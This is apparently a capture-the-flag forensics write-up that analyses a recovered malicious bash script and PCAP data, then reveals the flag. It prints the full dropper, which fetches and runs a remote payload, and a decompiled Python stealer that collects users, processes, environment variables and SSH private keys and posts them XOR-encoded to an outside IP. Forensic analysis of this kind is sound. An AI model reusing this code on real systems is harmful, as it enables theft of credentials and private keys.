The Question

We recovered a malicious script from a victim environment. Can you figure out what it did, and if any sensitive information was exfiltrated? We were able to export some PCAP data from their environment as well.


The Solution

We are given two files in a zipped folder: evidence.pcapng and mal.sh

#!/bin/bash

rm -f "${BASH_SOURCE[0]}"

which python3 >/dev/null
if [[ $? -ne 0 ]]; then
    exit
fi

which curl >/dev/null
if [[ $? -ne 0 ]]; then
    exit
fi

mac_addr=$(ip addr | grep 'state UP' -A1 | tail -n1 | awk '{print $2}')

curl 54.80.43.46/images/banner.png?cache=$(base64 <<< $mac_addr) -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 2>/dev/null | base64 -d > /tmp/.cacheimg
python3 /tmp/.cacheimg
rm -f /tmp/.cacheimg

The script shows a there was a Python script downloaded from 54.80.43.46.

Using Wireshark to view the pcap, I filtered on ip.dst == 54.80.43.46 and followed the TCP stream on the download: wireshark banner

After converting from Base64, it seemed this was a .pyc file, or compiled Python. Using uncompyle6 I decompiled it into standard Python:

# uncompyle6 version 3.8.0
# Python bytecode 3.6 (3379)
# Decompiled from: Python 3.9.2 (default, Feb 28 2021, 17:03:44) 
# [GCC 10.2.1 20210110]
# Embedded file name: /tmp/tmpaliidej5
# Compiled at: 2021-09-25 17:59:31
# Size of source mod 2**32: 2900 bytes
import array, base64, fcntl, http.client, json, re, socket, struct, os, uuid

def get_net_info():
    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    g = array.array('B', b'\x00' * 4096)
    y = struct.unpack('iL', fcntl.ioctl(s.fileno(), 35090, struct.pack('iL', 4096, g.buffer_info()[0])))[0]
    n = g.tobytes()
    a = []
    for i in range(0, y, 40):
        c = n[i:i + 16].split(b'\x00', 1)[0]
        c = c.decode()
        m = n[i + 20:i + 24]
        v = f"{m[0]}.{m[1]}.{m[2]}.{m[3]}"
        a.append((c, v))

    return a


def get_users():
    with open('/etc/passwd', 'r') as (f):
        x = [x.strip() for x in f.readlines()]
    g = []
    for z in x:
        a = z.split(':')
        if int(a[2]) < 1000 or int(a[2]) > 65000:
            if a[0] != 'root':
                continue
        g.append((a[2], a[0], a[5], a[6]))

    return g


def get_proc():
    n = []
    a = os.listdir('/proc')
    for b in a:
        try:
            int(b)
            x = os.readlink(f"/proc/{b}/exe")
            with open(f"/proc/{b}/cmdline", 'rb') as (f):
                s = (b' ').join(f.read().split(b'\x00')).decode()
            n.append((b, x, s))
        except:
            continue

    return n


def get_ssh(u):
    s = []
    try:
        x = os.listdir(u + '/.ssh')
        for y in x:
            try:
                with open(f"{u}/.ssh/{y}", 'r') as (f):
                    s.append((y, f.read()))
            except:
                continue

    except:
        pass

    return s


def build_output(net, user, proc, ssh):
    out = {}
    out['net'] = net
    out['proc'] = proc
    out['env'] = dict(os.environ)
    out['user'] = []
    for i in range(len(user)):
        out['user'].append({'info':user[i],  'ssh':ssh[i]})

    return out


def send(data):
    c = http.client.HTTPConnection('34.207.187.90')
    p = json.dumps(data).encode()
    k = b'8675309'
    d = bytes([p[i] ^ k[(i % len(k))] for i in range(len(p))])
    c.request('POST', '/upload', base64.b64encode(d))
    x = c.getresponse()


def a():
    key = ':'.join(re.findall('..', '%012x' % uuid.getnode()))
    if '4b:e1:d6:a8:66:be' != key:
        return
    net = get_net_info()
    user = get_users()
    proc = get_proc()
    ssh = []
    for _, _, a, _ in user:
        ssh.append(get_ssh(a))

    data = build_output(net, user, proc, ssh)
    send(data)


try:
    a()
except:
    pass
# okay decompiling malware.pyc

In the send() function is sending data to 34.207.187.90. Using Wireshark with the filter ip.dst == 34.207.187.90, I was able to find the data that was uploaded:

uploaded data

It’s encoded by the send function:

def send(data):
    c = http.client.HTTPConnection('34.207.187.90')
    p = json.dumps(data).encode()
    k = b'8675309'
    d = bytes([p[i] ^ k[(i % len(k))] for i in range(len(p))])
    c.request('POST', '/upload', base64.b64encode(d))
    x = c.getresponse()

But it was easy enough to reverse:

import base64
import json
with open('b64_data.txt', 'r') as f:
    data = base64.b64decode(*f.readlines())
    k = b'8675309'
    d = bytes([data[i] ^ k[(i % len(k))] for i in range(len(data))])
    parsed = json.loads(d.decode('utf-8'))
    print(json.dumps(parsed, indent=4))

This decodes everything that was send, looks like all the user’s private keys were stolen!

By greping the output I found the key:

$python decode.py | grep "dam"
        "FLAG": "dam{oh_n0_a1l_muh_k3y5_are_g0n3}",

dam{oh_n0_a1l_muh_k3y5_are_g0n3}